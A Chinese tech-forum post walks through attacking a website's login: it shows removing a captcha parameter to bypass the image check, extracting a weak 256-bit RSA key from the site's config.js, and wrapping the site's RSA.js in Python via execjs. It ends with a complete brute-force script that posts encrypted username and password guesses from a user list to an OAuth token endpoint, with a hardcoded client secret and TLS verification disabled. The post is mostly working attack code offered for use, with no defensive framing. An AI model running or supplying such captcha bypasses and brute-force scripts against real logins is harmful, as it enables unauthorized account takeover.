电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 1583 人浏览分享

前端RSA被丑爆破脚本

[复制链接]
1583 0
某网站登录的时候如下:

184217jh2f5225d2f92o55.png.thumb.jpg

然后我删除j_authcode以及一些有用的参数,可以绕过图形验证码

999.jpg

那么这样就可以进行爆破了。不过我们可以看到用户名和密码 这究竟是什么玄妙呢?我们来看看前端代码。

184219qogx3gydmgvm5fzd.png.thumb.jpg

可以看到这里是RSA智能。然后通过断点查看指数和模量的值。

184219ecaz0ubgq85cx25a.png.thumb.jpg

值是,搜索后发现就存储config.js中,固定私钥在RSA的模数。
但这是一个 256 位公钥的 RSA,在其他环境中几乎找不到这种可能性的项目 而 js 出现了RSA.js/Barrett.js/BigInt.js
这么一个早期项目。这种时候就需要用python去调js代码来进行洗。
先写出js智能的代码来看看效果:
  1. <s cript src="./rsa/RSA.js" type="text/j avas cript"></s cript>
  2. <s cript src="./rsa/BigInt.js" type="text/j avas cript"></s cript>
  3. <s cript src="./rsa/Barrett.js" type="text/j avas cript"></s cript>
  4. <s cript src="./rsa/config.js" type="text/j avas cript"></s cript>
  5. <s cript>
  6. functiona(paramStr){
  7.     setMaxDigits(130);
  8.     key = new RSAKeyPair(exponent, "", modulus);
  9.     return encryptedString(key,encodeURIComponent(paramStr));

  10.     }
  11. qqq= a("admin");
  12. a lert(qqq);
  13. </s cript>
复制代码

184220irz0c456z3x03lo3.png.thumb.jpg

这里可以看到和Burp Suite里是一模一样然后把4个js带html里的js代码合并到同一个文件里
用python的execjs库去调。
  1. import execjs
  2. defrsa(str):
  3.     file = 'RSA.js'
  4.     ctx = execjs.compile(open(file).read())
  5.     js = 'a("'+str+'")'
  6.     params = ctx.e val(js)
  7.     return params
  8. print(rsa("admin"))
  9. [align=left]
复制代码

184221mmfhe3u3gmhhj4jb.png.thumb.jpg

写出来最后破破的剧本:
  1. import requests
  2. import execjs
  3. requests.packages.urllib3.disable_warnings()
  4. defurlpost(username,password):
  5.     rusername = rsa(username)
  6.     rpassword = rsa(password)
  7.     url = "https://x.com/oauth/token"
  8.     header = {"User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:79.0)Ge
  9. cko/20100101 Firefox/79.0",
  10.           "X-Requested-With": "X MLHttpRequest",
  11.           "Content-Type": "application/x-www-form-urlencoded"
  12.           }
  13.     cookie = {}
  14.     data = {"username":rusername,
  15.             "password":rpassword,
  16.             "grant_type":"password",
  17.             "scope":"service",
  18.             "client_id":"spm",
  19.             "client_secret":"sinoprof"
  20.             }
  21.     r =requests.post(url,cookies=cookie,headers=header,data=data,allo
  22. w_redirects=False,verify=False)
  23.     print(r.status_code)
  24.     if r.status_code == 200:
  25.         print(username+password+"success")
  26.         exit()
  27.     else:
  28.         print(username+password+"error")
  29. defrsa(str):
  30.     file = 'RSA.js'
  31.     ctx = execjs.compile(open(file).read())
  32.     js = 'a("'+str+'")'
  33.     params = ctx.e val(js)
  34.     return params
  35. folist= open('user.txt','r')
  36. for i in folist.readlines():
  37.     i = i.replace('\n','')
  38.     urlpost(i,i+"!@#456")
  39.     urlpost(i,i+"!@#123")
  40.     urlpost(i,"123456")
复制代码

最终效果如下图所示:

8.png

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.